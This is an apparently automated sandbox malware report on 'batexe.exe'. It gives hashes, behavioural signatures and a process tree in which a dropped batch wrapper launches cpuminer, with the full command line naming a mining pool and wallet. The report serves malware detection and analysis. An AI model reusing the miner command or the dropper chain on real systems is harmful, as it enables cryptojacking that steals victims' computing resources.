73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 07:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2304	b2e.exe
1956	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1956	cpuminer-sse2.exe
1956	cpuminer-sse2.exe
1956	cpuminer-sse2.exe
1956	cpuminer-sse2.exe
1956	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/308-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 308 wrote to memory of 2304	308	batexe.exe	75
PID 308 wrote to memory of 2304	308	batexe.exe	75
PID 308 wrote to memory of 2304	308	batexe.exe	75
PID 2304 wrote to memory of 1608	2304	b2e.exe	76
PID 2304 wrote to memory of 1608	2304	b2e.exe	76
PID 2304 wrote to memory of 1608	2304	b2e.exe	76
PID 1608 wrote to memory of 1956	1608	cmd.exe	79
PID 1608 wrote to memory of 1956	1608	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:308
- C:\Users\Admin\AppData\Local\Temp\92CA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\92CA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\92CA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\952B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\92CA.tmp\b2e.exe

Filesize
5.1MB

MD5
4e30f38c97e53dddd8e451a4d7b7bb9a

SHA1
1937872f4f7c54c5e0d7dff8947952504ece39b8

SHA256
ea4be717fcfb449d1cf0e35654d103d2822a0a6030ade1840e7aa557aed69ada

SHA512
1283a1245950400585531b2df588db472ef47653846b861c12bf180595fba1d8748cfa65ebd5e80892e8a552ee9bc7a00889f9f8c09702d3698a44e4be27dadb

Download Submit
C:\Users\Admin\AppData\Local\Temp\92CA.tmp\b2e.exe

Filesize
5.3MB

MD5
02c73c6c2411414206a3b05088637b2e

SHA1
096d4cb622f06a41c6508fbc8037168267fe9f61

SHA256
bfd130e653b4d45a412eadfbc9cddb7f260ad75d56181336b39e31a8ea4ba505

SHA512
19591d957144abcc6cc11e314b53cc7f3bef2e3870ddf24382aff9e6e5fec0fc0aa030315a85ebc04e20bb67ca8ead2089636e352ec37fa736de3f226701c867

Download Submit
C:\Users\Admin\AppData\Local\Temp\952B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
bdf13ff46e25a600d35a1d8831e481ec

SHA1
72fcc40202dec84a14d72700872e6ecd5e4ddb61

SHA256
a185d38dcb34c0be338541f9da978f9be8658c843336675f30edc0177a8e78e1

SHA512
70853affbe4bfc060289285e1158276c8012314be0926351599cb5f0755303fb41c46d01a16cd7d3be1ddce40d0335756495f0d495b503ad37c07038416daec5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
c27830b433334350b1091f4118f1bd49

SHA1
879d5270da36507465b0dc9c94e23ff34b43bda6

SHA256
4e19f6dbbee35ef00785b3ae7d9e0e490167fd92b27dc1d3db95455ce868edd8

SHA512
01c8e65e53566d7cc9a775b4b978252e0c0a6113a00d23f4964050df66b27ac915b87ae574aac13b6e4be2aa125301cfc25e80b05999012db9e6a06ef7616fb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
ef941fd4bef3f7a131e1c4c0fe42fa0c

SHA1
79534e826d0c01bf1e21f852370de0048518236f

SHA256
065c516b746bfefe773d3c72f7c40de4076d7032b3be7d6e1c37cff6f933d970

SHA512
98aeafdf88e800649878e1039da2af100f680bf641fd2e0cab1281d65e883e9d2543afa23d7ff2a9050afad298ced22d4153ffae0e3e22e826516c2e841a315d

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
09f96e2e2d603b228609185cfb4b519c

SHA1
26f93fb4b5110b5b56d1132b3e0efcaab347b011

SHA256
3ee1f8bb82318ce76a6f86c6df911eb9e5bd457b1b7fb5f7cfb16c74e7c774fa

SHA512
67ac76babdad6118aa010f953af0ab6729f49757dde8328a32ee56259116f507687e303e33f093e6bc6bba2f6fa5c25dfb6fafd5c0288336356620c22d435b57

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.0MB

MD5
051eab68807a20e29daa7094709fe0b8

SHA1
9c92aafce57e9404302e51a3db1443b721cef0df

SHA256
10f4fb6147d49c3a6be004480f642f2f11ef37cac0e827af01b5bfff069fa3e8

SHA512
d994a8f8e3db8cf63b4cca52467394955d55f2c56736b598413402063fe690f9b46276f97075ae361380a0f91cf3f2b512d064861ac659d16ee01d59e2727beb

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/308-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1956-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1956-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1956-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-44-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/1956-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-43-0x0000000065D00000-0x0000000065D98000-memory.dmp

Filesize
608KB

Download
memory/1956-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1956-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2304-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download